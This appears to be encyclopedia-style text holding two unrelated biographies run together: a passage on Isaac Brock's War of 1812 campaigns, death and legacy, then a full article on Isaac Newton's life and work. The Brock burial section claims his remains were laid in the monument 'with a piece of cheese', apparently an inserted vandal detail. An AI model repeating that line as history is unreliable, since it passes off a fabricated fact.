          Brock had continually kept the commanders of his posts informed of all developments. When war appeared to be imminent, he also sent a canoe party under the noted trader and voyager William McKay to Montreal, with orders to bring him immediate news of any outbreak of war. When this news reached Montreal on July 8, McKay immediately set out for York, the provincial capital of Upper Canada, where Brock had his headquarters. Brock immediately informed his subordinates, and in particular, he sent McKay to the British outpost at St. Joseph Island on Lake Huron, with orders which allowed the commander (Captain Charles Roberts) to stand on the defensive or attack the nearby American outpost at Fort Mackinac at his discretion. Roberts immediately launched an attack on Mackinac with a scratch force of regulars, fur traders and Indians. On July 18, the American garrison was taken by surprise (not being aware that war had been declared) and surrendered. This victory immediately caused many more Indians to give their active support to the British.


          Despite this complete success, Brock felt he needed to go further. He was hampered in these efforts by Governor General George Prevost, who had replaced Craig in late 1811. Prevost's orders from the government, and his own inclinations, were to place a strict emphasis on defence. Prevost kept the bulk of his forces in Lower Canada to protect Quebec, and opposed any attack into American territory. Brock also considered that he was handicapped by inertia and defeatism among the Legislature and other officials. He wrote to Prevost's Adjutant General,


          
            My situation is most critical, not from anything the enemy can do, but from the disposition of the people - The Population, believe me is essentially bad - A full belief possesses them that this Province must inevitably succumb - This Prepossession is fatal to every exertion - Legislators, Magistrates, Militia Officers, all, have imbibed the idea, and are so sluggish and indifferent in all their respective offices that the artful and active scoundrel is allowed to parade the Country without interruption, and commit all imaginable mischief... What a change an additional regiment would make in this part of the Province! Most of the people have lost all confidence - I however speak loud and look big.

          


          


          On July 12, an American Army under William Hull had invaded Canada at Sandwich (later known as Windsor). The invasion was quickly halted, and Hull withdrew, but this gave Brock the excuse he needed to abandon Prevost's orders. Having finally obtained support from the Legislature for his measures to defend the Province, Brock prorogued the Assembly and set out on August 5 with a small body of regulars and some volunteers from the York Militia (the "York Volunteers") to reinforce the garrison at Amherstburg at the western end of Lake Erie, facing Hull's position at Detroit. Travelling mainly by water, Brock reached Amherstburg on August 13.


          Here, Brock met Tecumseh, and was immediately impressed. Brock also read American dispatches captured from Hull's army, and quickly judged Hull to be timid and afraid of the Indians in particular, and the American force to be demoralised and short of rations. Against the advice of the officers on the spot, Brock immediately prepared to launch an attack on Detroit. He later ( September 3) wrote to his brothers,


          
            Some say that nothing could be more desparate than the measure, but I answer that the state of the Province admitted of nothing but desparate remedies. I got possession of the letters my antagonist addressed to the Secretary at War, and also of the sentiments which hundreds of his army uttered to their friends. Confidence in the General was gone, and evident despondency prevailed throughout. I have succeeded beyond expectation. I crossed the river contrary to the opinion of Cols. Procter, St. George etc.; it is therefore no wonder that envy should attribute to good fortune what in justice to my own discernment, I must say, proceeded from a cool calculation of the pours and contres.

          


          At this point, even with his American Indian allies, Brock was outnumbered approximately two to one. Brock thus decided to use a series of tricks to intimidate Hull. The local commanders had already allowed a message (ostensibly to Prevost) to fall into American hands, declining reinforcements. The reason given was that there were more than enough native allies to take the fort, and thus no need for additional British troops. Brock then dressed his militia contingent in military garb, making it appear as if his force consisted entirely of British Regular infantry, rather than farmers and tradesmen. Brock then laid siege to Fort Detroit, from established artillery positions from across the river in Sandwich and through a carefully crafted series of marches, made it appear he had far more natives with him then he actually did. Additionally, he ordered Tecumseh's forces to make as much noise as possible, thus giving the impression of a much larger force and intimidating Hull with the show of a raucous, barely controlled group of natives. Finally, he sent Hull a letter demanding his surrender, in which he stated, in part, "Sir: it is far from my inclination to join a war of extermination, but you must be aware that the numerous body of Indians who have attached themselves to my troops will be beyond my control the moment the contest commences." Brock then hammered the fort with cannon fire. On August 16, two hours after receiving Brock's letter, Hull surrendered unconditionally. Hull, elderly and without recent military experience, was terrified that the civilian population of the fort, including his own family, would face torture at the hands of the natives.


          Detroit was a major victory for Brock because it wounded American morale, and eliminated the main American force in the area as a threat, while at the same time boosting morale among his own forces. It allowed Brock to take the American supplies at Detroit and use them for his own forces, particularly the ill-equipped militia. Finally, it secured the support of Tecumseh and the other American Indian chiefs, who took it as both a sign of competency and a willingness to take action.


          In enlisting the help of Tecumseh, Brock made a number of commitments to the Shawnee. He promised to negotiate no peace treaty without addressing the Shawnee's vision of an independent homeland. Although this was undoubtedly because Brock needed the help of Tecumseh, there is no evidence Brock negotiated in bad faith. Also, Tecumseh evidently trusted and respected Brock, reportedly saying, "This is a man" after meeting him for the first time.


          For his actions in the capture of Detroit, Brock was knighted, though he died at the Battle of Queenston Heights before news of his knighthood arrived to him. The capture of Detroit also led to British domination over most of Michigan Territory. Brock had planned to continue his campaign into the U.S., but he was thwarted by the negotiation of an armistice by Prevost with American Major General Henry Dearborn. This stalled Brock's momentum, and gave the Americans time to regroup and prepare for an invasion of Canada. Unable to predict the point of invasion, Brock frantically worked to prepare defences throughout Upper Canada.


          


          Death at Queenston Heights


          


          Meanwhile, American general Stephen Van Rensselaer III, a Federalist political appointee, in command of a sizable army near Lewiston, came under presidential pressure to invade. Although Van Rensselaer had severe doubts about the quality of his troops, he had no choice but to attack. Making matters worse, Van Rensselaer was an inexperienced militia general, and thus not trusted by the majority of regular army troops. In the early morning of October 13, 1812, he attempted to cross the Niagara River, leading to the Battle of Queenston Heights. Despite heavy fire from British artillery, the first wave of Americans (under Captain John E. Wool) managed to land, and then follow a fishermen's path up to the heights. From this point, they attacked and routed the British artillery.


          From nearby Fort George, Brock hurried to take command of the small British force stationed at the heights. Fearing that the Americans, with the artillery out of the way, would move the rest of their troops across the river, he ordered an immediate attack on their position. True to his personal philosophy of never ordering men where he would not lead them, he personally led the charge. The charge nearly succeeded, but was repelled. Brock himself was wounded in the hand, but then immediately led a second charge. An obvious target in his general's uniform, Brock was shot and killed by American sharpshooters. Brock's last words have been reported as surgite (Latin for "rise" or perhaps "press on"), or "Push on, brave York Volunteers" (in reference to a group of the militia Brock favoured) and even "My fall must not be noticed or impede my brave companions from advancing to victory." It has also been reported that Brock died immediately, however, so these accounts are by no means certain.


          Following his death, Sheaffe arrived at the battle scene and took command of the British forces. In sharp contrast to his predecessor's direct attack, Sheaffe took a more cautious approach. This ultimately proved successful, leading to a total victory over the Americans at the cost of only 50 of his own men. During the battle, it is reported that the 49th used "Revenge of the General" as a battle cry.


          


          Burial


          After the battle, Sheaffe and his staff decided to entrust the funeral arrangements to Captain John Glegg, who had served with Brock for many years.


          On October 16, a funeral procession for Brock and Colonel Macdonell went from Government House to Fort George, with soldiers from the British Army, the colonial militia, and the American Indian tribes on either side of the route. The caskets were then lowered into a freshly dug grave the northeast corner of Fort George. The British then fired a twenty-one gun salute in three salvos, in a gesture of respect. Later that day, the American garrison at Fort Niagara respectfully fired a similar salute. Several thousand people attended the funeral, a remarkable number given the population of Upper Canada at that time.


          All told, Brock and Macdonell's remains were moved a total of two times, until finally coming to a permanent rest inside Brock's Monument, with a piece of cheese, on October 13, 1853. Between twelve and fifteen thousand people were on hand for the final burial.


          


          Attitudes


          Although many Canadians have come to view Brock as one of their own, Brock never really felt at home in Canada. Although he was complimentary toward Quebec City, on the whole Brock viewed the country as a backwater, and earnestly wished to return to Europe to fight against Napoleon. Furthermore, Brock mistrusted the Canadian colonists, many of whom he suspected of being American sympathizers, and was reluctant to arm them to help defend the colonies; he was far happier fighting alongside British regulars and Tecumseh's native fighters.


          His attitude towards Tecumseh and his other American Indian allies is noteworthy. Although Brock's correspondence indicates a certain amount of paternal condescension for the natives, he seems to have regarded Tecumseh himself very highly (calling him the "Wellington of the Indians", and saying "a more sagacious or a more gallant warrior does not I believe exist"), and also to have a certain respect for native peoples. Brock's personal integrity has been well documented, and suggests that if he had lived he would have kept his word to provide the Shawnee with their own homeland.


          Despite his lack of an extensive formal education, Brock appreciated the importance of it. It is reported that he often spent his leisure time sequestered in his room, reading books in an attempt to improve his education. His tastes varied, and he read many works on military tactics and science, but he also read on philosophy and other, less immediately practical, topics. At the time of his death he was in possession of a modest library of books, including works by Shakespeare, Voltaire, and Samuel Johnson.


          


          Legacy
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          On British leadership


          British military leadership, which had been decisive up to Brock's death, suffered a blow with his loss. His direct successor, Major-General Sheaffe, although successful in his approach at Queenston Heights, was never able to live up to Brock's reputation. He was criticised by many, including John Strachan, for his retreat at the Battle of York, and was shortly after recalled to England, where he went on to have a successful, if not brilliant, military career.


          Brock's successor at Detroit, however, fared much worse. Colonel Henry Procter faced an attack from a resurrected American Army of the Northwest under future President William Henry Harrison. Harrison set out to retake Detroit, but a detachment of his army was defeated at Frenchtown on January 22, 1813. Procter, displaying poor judgement, left the prisoners in the custody of his native allies, who proceeded to execute an indeterminate number of them. Subsequent American victories allowed Harrison to attempt another invasion of Canada, which led to the Battle of the Thames on October 5, 1813. After a successful American charge, Procter's forces turned and fled, leaving Tecumseh and his American Indian troops to fight alone. They fought on, eventually being defeated. Perhaps of more importance to the British, at this battle Tecumseh died, and their alliance with the American Indians effectively ended.


          As for Governor General Prevost, who often clashed with Brock, he remained in command of all British forces until after the Battle of Plattsburgh, in 1814. The battle was intended to be a joint naval/infantry attack, but Prevost did not commit his forces until after the naval battle had nearly ended. When he finally did attack, his forces proved unable to cross the Saranac River bridge, which was held by a small group of American regulars under the command of the recently promoted John E. Wool. Despite a heavy advantage in manpower, Prevost finally retreated upon hearing of the failure of the naval attack. For his failure at Plattsburgh, Prevost was recalled to England to face an inquiry, and a naval court martial determined that the blame for the loss at Palttsburgh primarily rested with Prevost. Prevost's health failed him, and he died in early 1815.


          


          In Canada
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          Canadians regard Brock as one of their greatest military heroes, since he helped save the Canadian colonies when all seemed hopeless. He was even voted #28 on The Greatest Canadian, despite not actually being a Canadian.


          A web-based survey by the Angus Reid polling group placed him as the greatest of Canadian military heroes.


          A small cairn at the foot of the Niagara Escarpment marks the spot where Brock fell, while an impressive monument, built by public subscription, overlooks the Heights as a lasting tribute.


          The original monument was bombed and heavily damaged in 1840 by Irish-Canadian terrorist Benjamin Lett, and it was later replaced by a larger structure that still exists, in 1853; although the bodies inside had to be temporarily moved so as not to damage them.


          Inscribed on the monument are the words: "He fell in action the 13th day of October 1812, in the 43rd year of his age. Honoured and beloved by the people whom he governed, and deplored by his Sovereign to whose service his life had been devoted. His remains are deposited in this vault, as also those of his aide-de-camp, Lieutenant-Colonel John Macdonell, who died of his wounds, the 14th of October 1812, received the day before in action."


          There is a monument to Brock's horse Alfred located at the south end of the village of Queenston nearby the cairn marking the spot where Brock fell.


          In 1816, a series of private half-penny tokens were issued by an unknown company bearing Brock's name and the title "The Hero of Upper Canada". This was somewhat ironic, as private copper tokens had become common in Canada due to initial distrust of "army bills", which were paper notes issued by Brock.


          Also in tribute to him are named the City of Brockville, Ontario, Canada, the Township of Brock, the Village of Brock, Saskatchewan and a university in St. Catharines, Brock University.


          Other schools named in his honour include the Isaac Brock School in Winnipeg (built in 1913), and the Sir Isaac Brock Public schools in Toronto, Guelph, Hamilton, London and Windsor, Ontario.


          Various roads throughout Ontario are also named after him, including the General Isaac Brock Parkway, Highway 405, which was named after Brock on October 13, 2006. The Bruce Trail has its southern terminus about 200 metres from Brock's Monument on the easterly side of the Monument park grounds.


          


          In Britain


          Although Brock's achievements were overshadowed by larger-scale fighting in Europe, his death was still widely noted, particularly in Guernsey. In London, he is remembered at a moderate memorial in St. Paul's Cathedral. He was given the title 'Knight of the Bath (KCB)' for his victory at Detroit, although word did not reach Canada until after his death, so he never knew he had been knighted. The depot of the Royal Berkshire Regiment located in Reading Berkshire, created in 1881, is named "Brock's Barracks", in his honour. A British naval vessel, the HMS Isaac Brock, was destroyed while under construction at the Battle of York.


          


          In Guernsey


          Brock's childhood home in the High Street, St Peter Port remains standing where the lower floors are now a store of the British pharmacy retailer, Boots, and marked with a memorial plaque. A memorial, paid for by Canada, is fitted into the side of the Town Church, the parish church of St Peter Port. Brock University gives two places to Guernsey students who achieve sufficiently high grades.


          In 1969 and 1996, the Guernsey Post Office issued postage stamps to commemorating his life and achievements.
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          Sir Isaac Newton FRS (pronounced /ˈnjuːtən/; 4 January 1643 31 March 1727 [ OS: 25 December 1642 20 March 1727]) was an English physicist, mathematician, astronomer, natural philosopher, alchemist and theologian. His Philosophi Naturalis Principia Mathematica, published in 1687, is said to be the greatest single work in the history of science. In this work, Newton described universal gravitation and the three laws of motion, laying the groundwork for classical mechanics, which dominated the scientific view of the physical universe for the next three centuries and is the basis for modern engineering. Newton showed that the motions of objects on Earth and of celestial bodies are governed by the same set of natural laws by demonstrating the consistency between Kepler's laws of planetary motion and his theory of gravitation, thus removing the last doubts about heliocentrism and advancing the scientific revolution.


          In mechanics, Newton enunciated the principles of conservation of momentum and angular momentum. In optics, he invented the reflecting telescope and developed a theory of colour based on the observation that a prism decomposes white light into a visible spectrum. He also formulated an empirical law of cooling and studied the speed of sound.


          In mathematics, Newton shares the credit with Gottfried Leibniz for the development of calculus. He also demonstrated the generalized binomial theorem, developed the so-called "Newton's method" for approximating the zeroes of a function, and contributed to the study of power series.


          In a 2005 poll of the Royal Society of who had the greatest effect on the history of science, Newton was deemed much more influential than Albert Einstein.
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          Early years
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          Isaac Newton was born on 4 January 1643 [ OS: 25 December 1642] at Woolsthorpe Manor in Woolsthorpe-by-Colsterworth, a hamlet in the county of Lincolnshire. At the time of Newton's birth, England had not adopted the latest papal calendar and therefore his date of birth was recorded as Christmas Day, 25 December 1642. Newton was born three months after the death of his father. Born prematurely, he was a small child; his mother Hannah Ayscough reportedly said that he could have fit inside a quart mug. When Newton was three, his mother remarried and went to live with her new husband, the Reverend Barnabus Smith, leaving her son in the care of his maternal grandmother, Margery Ayscough. The young Isaac disliked his stepfather and held some enmity towards his mother for marrying him, as revealed by this entry in a list of sins committed up to the age of 19: Threatening my father and mother Smith to burn them and the house over them.


          Some claim that Newton may have suffered from Asperger syndrome, a form of autism.


          According to E.T. Bell and H. Eves:


          
            Newton began his schooling in the village schools and was later sent to The King's School, Grantham, where he became the top student in the school. At King's, he lodged with the local apothecary, William Clarke and eventually became engaged to the apothecary's stepdaughter, Anne Storer, before he went off to the University of Cambridge at the age of 19. As Newton became engrossed in his studies, the romance cooled and Miss Storer married someone else. It is said he kept a warm memory of this love, but Newton had no other recorded "sweet-hearts" and never married.

          


          There are rumours that he remained a virgin. However, Bell and Eves' sources for this claim, William Stukeley and Mrs. Vincent (the former Miss Storer  actually named Katherine, not Anne), merely say that Newton entertained "a passion" for Storer while he lodged at the Clarke house.


          From the age of about twelve until he was seventeen, Newton was educated at The King's School, Grantham (where his signature can still be seen upon a library window sill). He was removed from school, and by October 1659, he was to be found at Woolsthorpe-by-Colsterworth, where his mother, widowed by now for a second time, attempted to make a farmer of him. He was, by later reports of his contemporaries, thoroughly unhappy with the work. It appears to have been Henry Stokes, master at the King's School, who persuaded his mother to send him back to school so that he might complete his education. This he did at the age of eighteen, achieving an admirable final report.


          In June 1661, he was admitted to Trinity College, Cambridge. At that time, the college's teachings were based on those of Aristotle, but Newton preferred to read the more advanced ideas of modern philosophers such as Descartes and astronomers such as Galileo, Copernicus and Kepler. In 1665, he discovered the generalized binomial theorem and began to develop a mathematical theory that would later become calculus. Soon after Newton had obtained his degree in April of 1665, the University closed down as a precaution against the Great Plague. For the next 2 years, Newton worked at his home in Woolsthorpe on calculus, optics and the law of gravitation.


          


          Middle years
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          Mathematics


          Most modern historians believe that Newton and Leibniz had developed calculus independently, using their own unique notations. According to Newton's inner circle, Newton had worked out his method years before Leibniz, yet he published almost nothing about it until 1693, and did not give a full account until 1704. Meanwhile, Leibniz began publishing a full account of his methods in 1684. Moreover, Leibniz's notation and "differential Method" were universally adopted on the Continent, and after 1820 or so, in the British Empire. Whereas Leibniz's notebooks show the advancement of the ideas from early stages until maturity, there is only the end product in Newton's known notes. Newton claimed that he had been reluctant to publish his calculus because he feared being mocked for it. Newton had a very close relationship with Swiss mathematician Nicolas Fatio de Duillier, who from the beginning was impressed by Newton's gravitational theory. In 1691 Duillier planned to prepare a new version of Newton's Philosophiae Naturalis Principia Mathematica, but never finished it. Some of Newton's biographers have suggested that the relationship may have been romantic. However, in 1694 the relationship between the two men cooled down. At the time, Duillier had also exchanged several letters with Leibniz.


          Starting in 1699, other members of the Royal Society (of which Newton was a member) accused Leibniz of plagiarism, and the dispute broke out in full force in 1711. Newton's Royal Society proclaimed in a study that it was Newton who was the true discoverer and labeled Leibniz a fraud. This study was cast into doubt when it was later found that Newton himself wrote the study's concluding remarks on Leibniz. Thus began the bitter Newton v. Leibniz calculus controversy, which marred the lives of both Newton and Leibniz until the latter's death in 1716.


          Newton is generally credited with the generalized binomial theorem, valid for any exponent. He discovered Newton's identities, Newton's method, classified cubic plane curves (polynomials of degree three in two variables), made substantial contributions to the theory of finite differences, and was the first to use fractional indices and to employ coordinate geometry to derive solutions to Diophantine equations. He approximated partial sums of the harmonic series by logarithms (a precursor to Euler's summation formula), and was the first to use power series with confidence and to revert power series. He also discovered a new formula for calculating pi.


          He was elected Lucasian Professor of Mathematics in 1669. In that day, any fellow of Cambridge or Oxford had to be an ordained Anglican priest. However, the terms of the Lucasian professorship required that the holder not be active in the church (presumably so as to have more time for science). Newton argued that this should exempt him from the ordination requirement, and Charles II, whose permission was needed, accepted this argument. Thus a conflict between Newton's religious views and Anglican orthodoxy was averted.


          


          Optics


          From 1670 to 1672, Newton lectured on optics. During this period he investigated the refraction of light, demonstrating that a prism could decompose white light into a spectrum of colours, and that a lens and a second prism could recompose the multicoloured spectrum into white light.


          
            [image: A replica of Newton's 6-inch (150�mm) reflecting telescope of 1672 for the Royal Society.]

            
              A replica of Newton's 6-inch (150mm) reflecting telescope of 1672 for the Royal Society.
            

          


          He also showed that the coloured light does not change its properties by separating out a coloured beam and shining it on various objects. Newton noted that regardless of whether it was reflected or scattered or transmitted, it stayed the same colour. Thus, he observed that colour is the result of objects interacting with already-coloured light rather than objects generating the colour themselves. This is known as Newton's theory of colour.


          From this work he concluded that any refracting telescope would suffer from the dispersion of light into colours, and invented a reflecting telescope (today known as a Newtonian telescope) to bypass that problem. By grinding his own mirrors, using Newton's rings to judge the quality of the optics for his telescopes, he was able to produce a superior instrument to the refracting telescope, due primarily to the wider diameter of the mirror. In 1671 the Royal Society asked for a demonstration of his reflecting telescope. Their interest encouraged him to publish his notes On Colour, which he later expanded into his Opticks. When Robert Hooke criticised some of Newton's ideas, Newton was so offended that he withdrew from public debate. The two men remained enemies until Hooke's death.


          Newton argued that light is composed of particles or corpuscles and were refracted by accelerating toward the denser medium, but he had to associate them with waves to explain the diffraction of light (Opticks Bk. II, Props. XII-L). Later physicists instead favoured a purely wavelike explanation of light to account for diffraction. Today's quantum mechanics, photons and the idea of wave-particle duality bear only a minor resemblance to Newton's understanding of light.


          In his Hypothesis of Light of 1675, Newton posited the existence of the ether to transmit forces between particles. The contact with the theosophist Henry More, revived his interest in alchemy. He replaced the ether with occult forces based on Hermetic ideas of attraction and repulsion between particles. John Maynard Keynes, who acquired many of Newton's writings on alchemy, stated that "Newton was not the first of the age of reason: he was the last of the magicians." Newton's interest in alchemy cannot be isolated from his contributions to science. (This was at a time when there was no clear distinction between alchemy and science.) Had he not relied on the occult idea of action at a distance, across a vacuum, he might not have developed his theory of gravity. (See also Isaac Newton's occult studies.)


          In 1704 Newton wrote Opticks, in which he expounded his corpuscular theory of light. He considered light to be made up of extremely subtle corpuscles, that ordinary matter was made of grosser corpuscles and speculated that through a kind of alchemical transmutation "Are not gross Bodies and Light convertible into one another, ...and may not Bodies receive much of their Activity from the Particles of Light which enter their Composition?" Newton also constructed a primitive form of a frictional electrostatic generator, using a glass globe (Optics, 8th Query).


          


          Mechanics and gravitation
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          In 1677, Newton returned to his work on mechanics, i.e., gravitation and its effect on the orbits of planets, with reference to Kepler's laws of planetary motion, and consulting with Hooke and Flamsteed on the subject. He published his results in De motu corporum in gyrum (1684). This contained the beginnings of the laws of motion that would inform the Principia.


          The Philosophiae Naturalis Principia Mathematica (now known as the Principia) was published on 5 July 1687 with encouragement and financial help from Edmond Halley. In this work Newton stated the three universal laws of motion that were not to be improved upon for more than two hundred years. He used the Latin word gravitas (weight) for the effect that would become known as gravity, and defined the law of universal gravitation. In the same work he presented the first analytical determination, based on Boyle's law, of the speed of sound in air.


          With the Principia, Newton became internationally recognised. He acquired a circle of admirers, including the Swiss-born mathematician Nicolas Fatio de Duillier, with whom he formed an intense relationship that lasted until 1693. The end of this friendship led Newton to a nervous breakdown.


          


          Later life


          
            [image: Isaac Newton in old age in 1712. Portrait by Sir James Thornhill.]

            
              Isaac Newton in old age in 1712. Portrait by Sir James Thornhill.
            

          


          In the 1690s Newton wrote a number of religious tracts dealing with the literal interpretation of the Bible. Henry More's belief in the universe and rejection of Cartesian dualism may have influenced Newton's religious ideas. A manuscript he sent to John Locke in which he disputed the existence of the Trinity was never published. Later works  The Chronology of Ancient Kingdoms Amended (1728) and Observations Upon the Prophecies of Daniel and the Apocalypse of St. John (1733)  were published after his death. He also devoted a great deal of time to alchemy (see above).


          Newton was also a member of the Parliament of England from 1689 to 1690 and in 1701, but his only recorded comments were to complain about a cold draft in the chamber and request that the window be closed.


          Newton moved to London to take up the post of warden of the Royal Mint in 1696, a position that he had obtained through the patronage of Charles Montagu, 1st Earl of Halifax, then Chancellor of the Exchequer. He took charge of England's great recoining, somewhat treading on the toes of Master Lucas (and securing the job of deputy comptroller of the temporary Chester branch for Edmond Halley). Newton became perhaps the best-known Master of the Mint upon Lucas' death in 1699, a position Newton held until his death. These appointments were intended as sinecures, but Newton took them seriously, retiring from his Cambridge duties in 1701, and exercising his power to reform the currency and punish clippers and counterfeiters. As Master of the Mint in 1717 Newton unofficially moved the Pound Sterling from the silver standard to the gold standard by creating a relationship between gold coins and the silver penny in the "Law of Queen Anne"; these were all great reforms at the time, adding considerably to the wealth and stability of England. It was his work at the Mint, rather than his earlier contributions to science, that earned him a knighthood from Queen Anne in 1705.
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          Newton was made President of the Royal Society in 1703 and an associate of the French Acadmie des Sciences. In his position at the Royal Society, Newton made an enemy of John Flamsteed, the Astronomer Royal, by prematurely publishing Flamsteed's star catalogue, which Newton had used in his studies.


          Newton died in London on 31 March 1727 [ OS: 20 March 1727], and was buried in Westminster Abbey. His half-niece, Catherine Barton Conduitt, served as his hostess in social affairs at his house on Jermyn Street in London; he was her "very loving Uncle," according to his letter to her when she was recovering from smallpox. Although Newton, who had no children, had divested much of his estate onto relatives in his last years he actually died intestate.


          After his death, Newton's body was discovered to have had massive amounts of mercury in it, probably resulting from his alchemical pursuits. Mercury poisoning could explain Newton's eccentricity in late life.


          


          Religious views


          Although the laws of motion and universal gravitation became Newton's best-known discoveries, he warned against using them to view the universe as a mere machine, as if akin to a great clock. He said, "Gravity explains the motions of the planets, but it cannot explain who set the planets in motion. God governs all things and knows all that is or can be done."


          His scientific fame notwithstanding, Newton's studies of the Bible and of the early Church Fathers were also noteworthy. Newton wrote works on textual criticism, most notably An Historical Account of Two Notable Corruptions of Scripture. He also placed the crucifixion of Jesus Christ at 3 April, AD 33, which agrees with one traditionally accepted date. He also attempted, unsuccessfully, to find hidden messages within the Bible (see Bible code).


          Newton may have rejected the church's doctrine of the Trinity. In a minority view, T.C. Pfizenmaier argues that he more likely held the Eastern Orthodox view of the Trinity rather than the Western one held by Roman Catholics, Anglicans, and most Protestants. In his own day, he was also accused of being a Rosicrucian (as were many in the Royal Society and in the court of Charles II).


          In his own lifetime, Newton wrote more on religion than he did on natural science. He believed in a rationally immanent world, but he rejected the hylozoism implicit in Leibniz and Baruch Spinoza. Thus, the ordered and dynamically informed universe could be understood, and must be understood, by an active reason, but this universe, to be perfect and ordained, had to be regular.


          


          Newton's effect on religious thought
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          Newton and Robert Boyles mechanical philosophy was promoted by rationalist pamphleteers as a viable alternative to the pantheists and enthusiasts, and was accepted hesitantly by orthodox preachers as well as dissident preachers like the latitudinarians. Thus, the clarity and simplicity of science was seen as a way to combat the emotional and metaphysical superlatives of both superstitious enthusiasm and the threat of atheism, and, at the same time, the second wave of English deists used Newton's discoveries to demonstrate the possibility of a "Natural Religion."


          The attacks made against pre-Enlightenment "magical thinking," and the mystical elements of Christianity, were given their foundation with Boyles mechanical conception of the universe. Newton gave Boyles ideas their completion through mathematical proofs and, perhaps more importantly, was very successful in popularising them. Newton refashioned the world governed by an interventionist God into a world crafted by a God that designs along rational and universal principles. These principles were available for all people to discover, allowed people to pursue their own aims fruitfully in this life, not the next, and to perfect themselves with their own rational powers.


          Newton saw God as the master creator whose existence could not be denied in the face of the grandeur of all creation. But the unforeseen theological consequence of his conception of God, as Leibniz pointed out, was that God was now entirely removed from the worlds affairs, since the need for intervention would only evidence some imperfection in Gods creation, something impossible for a perfect and omnipotent creator. Leibniz's theodicy cleared God from the responsibility for " l'origine du mal" by making God removed from participation in his creation. The understanding of the world was now brought down to the level of simple human reason, and humans, as Odo Marquard argued, became responsible for the correction and elimination of evil.


          On the other hand, latitudinarian and Newtonian ideas taken too far resulted in the millenarians, a religious faction dedicated to the concept of a mechanical universe, but finding in it the same enthusiasm and mysticism that the Enlightenment had fought so hard to extinguish.


          


          Views of the end of the world


          In a manuscript he wrote in 1704 in which he describes his attempts to extract scientific information from the Bible, he estimated that the world would end no earlier than 2060. In predicting this he said, "This I mention not to assert when the time of the end shall be, but to put a stop to the rash conjectures of fanciful men who are frequently predicting the time of the end, and by doing so bring the sacred prophesies into discredit as often as their predictions fail."


          


          Newton and the counterfeiters


          As warden of the Royal Mint, Newton estimated that 20% of the coins taken in during The Great Recoinage were counterfeit. Counterfeiting was high treason, punishable by being hanged, drawn and quartered. Despite this, convictions of the most flagrant criminals could be extremely difficult to achieve; however, Newton proved to be equal to the task.


          He gathered much of that evidence himself, disguised, while he hung out at bars and taverns. For all the barriers placed to prosecution, and separating the branches of government, English law still had ancient and formidable customs of authority. Newton was made a justice of the peace and between June 1698 and Christmas 1699 conducted some 200 cross-examinations of witnesses, informers and suspects. Newton won his convictions and in February 1699, he had ten prisoners waiting to be executed.


          Possibly Newton's greatest triumph as the king's attorney was against William Chaloner. One of Chaloner's schemes was to set up phony conspiracies of Catholics and then turn in the hapless conspirators whom he entrapped. Chaloner made himself rich enough to posture as a gentleman. Petitioning Parliament, Chaloner accused the Mint of providing tools to counterfeiters (a charge also made by others). He proposed that he be allowed to inspect the Mint's processes in order to improve them. He petitioned Parliament to adopt his plans for a coinage that could not be counterfeited, while at the same time striking false coins. Newton was outraged, and went about the work to uncover anything about Chaloner. During his studies, he found that Chaloner was engaged in counterfeiting. He immediately put Chaloner on trial, but Chaloner had friends in high places and, to Newton's horror, Chaloner walked free. Newton put him on trial a second time with conclusive evidence. Chaloner was convicted of high treason and hanged, drawn and quartered on 23 March 1699 at Tyburn gallows.


          


          Enlightenment philosophers


          Enlightenment philosophers chose a short history of scientific predecessorsGalileo, Boyle, and Newton principallyas the guides and guarantors of their applications of the singular concept of Nature and Natural Law to every physical and social field of the day. In this respect, the lessons of history and the social structures built upon it could be discarded.


          It was Newtons conception of the universe based upon Natural and rationally understandable laws that became the seed for Enlightenment ideology. Locke and Voltaire applied concepts of Natural Law to political systems advocating intrinsic rights; the physiocrats and Adam Smith applied Natural conceptions of psychology and self-interest to economic systems and the sociologists criticised the current social order for trying to fit history into Natural models of progress. Monboddo and Samuel Clarke resisted elements of Newton's work, but eventually rationalised it to conform with their strong religious views of nature.


          


          Newton's laws of motion


          The famous three laws of motion:


          
            	Newton's First Law (also known as the Law of Inertia) states that an object at rest tends to stay at rest and that an object in uniform motion tends to stay in uniform motion unless acted upon by a net external force.


            	Newton's Second Law states that an applied force, F, on an object equals the time rate of change of its momentum, p. Mathematically, this is written as [image:  \vec F = \frac{d\vec p}{dt} \, = \, \frac{d}{dt} (m \vec v) \, = \, \vec v \, \frac{dm}{dt} + m \, \frac{d\vec v}{dt} \,.] Assuming the mass to be constant, the first term vanishes. Defining the acceleration to be [image: \vec a \ =\ d\vec v/dt ] results in the famous equation [image:  \vec F = m \, \vec a \,] which states that the acceleration of an object is directly proportional to the magnitude of the net force acting on the object and inversely proportional to its mass. In the MKS system of measurement, mass is given in kilograms, acceleration in metres per second squared, and force in newtons (named in his honour).


            	Newton's Third Law states that for every action there is an equal and opposite reaction.

          


          


          Newton's apple
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                When Newton saw an apple fall, he found


                In that slight startle from his contemplation 

                'Tis said (for I'll not answer above ground

                For any sage's creed or calculation) 

                A mode of proving that the earth turn'd round

                In a most natural whirl, called "gravitation;"

                And this is the sole mortal who could grapple,

                Since Adam, with a fall or with an apple.

              

              	
            

          


          A popular story claims that Newton was inspired to formulate his theory of universal gravitation by the fall of an apple from a tree. Cartoons have gone further to suggest the apple actually hit Newton's head, and that its impact somehow made him aware of the force of gravity. John Conduitt, Newton's assistant at the Royal Mint and husband of Newton's niece, described the event when he wrote about Newton's life:


          
            
              	

              	In the year 1666 he retired again from Cambridge to his mother in Lincolnshire. Whilst he was pensively meandering in a garden it came into his thought that the power of gravity (which brought an apple from a tree to the ground) was not limited to a certain distance from earth, but that this power must extend much further than was usually thought. Why not as high as the Moon said he to himself & if so, that must influence her motion & perhaps retain her in her orbit, whereupon he fell a calculating what would be the effect of that supposition.

              	
            

          


          The question was not whether gravity existed, but whether it extended so far from Earth that it could also be the force holding the moon to its orbit. Newton showed that if the force decreased as the inverse square of the distance, one could indeed calculate the Moon's orbital period, and get good agreement. He guessed the same force was responsible for other orbital motions, and hence named it "universal gravitation".


          A contemporary writer, William Stukeley, recorded in his Memoirs of Sir Isaac Newton's Life a conversation with Newton in Kensington on 15 April 1726, in which Newton recalled "when formerly, the notion of gravitation came into his mind. It was occasioned by the fall of an apple, as he sat in contemplative mood. Why should that apple always descend perpendicularly to the ground, thought he to himself. Why should it not go sideways or upwards, but constantly to the earth's centre." In similar terms, Voltaire wrote in his Essay on Epic Poetry (1727), "Sir Isaac Newton walking in his gardens, had the first thought of his system of gravitation, upon seeing an apple falling from a tree." These accounts are probably exaggerations of Newton's own tale about sitting by a window in his home ( Woolsthorpe Manor) and watching an apple fall from a tree.


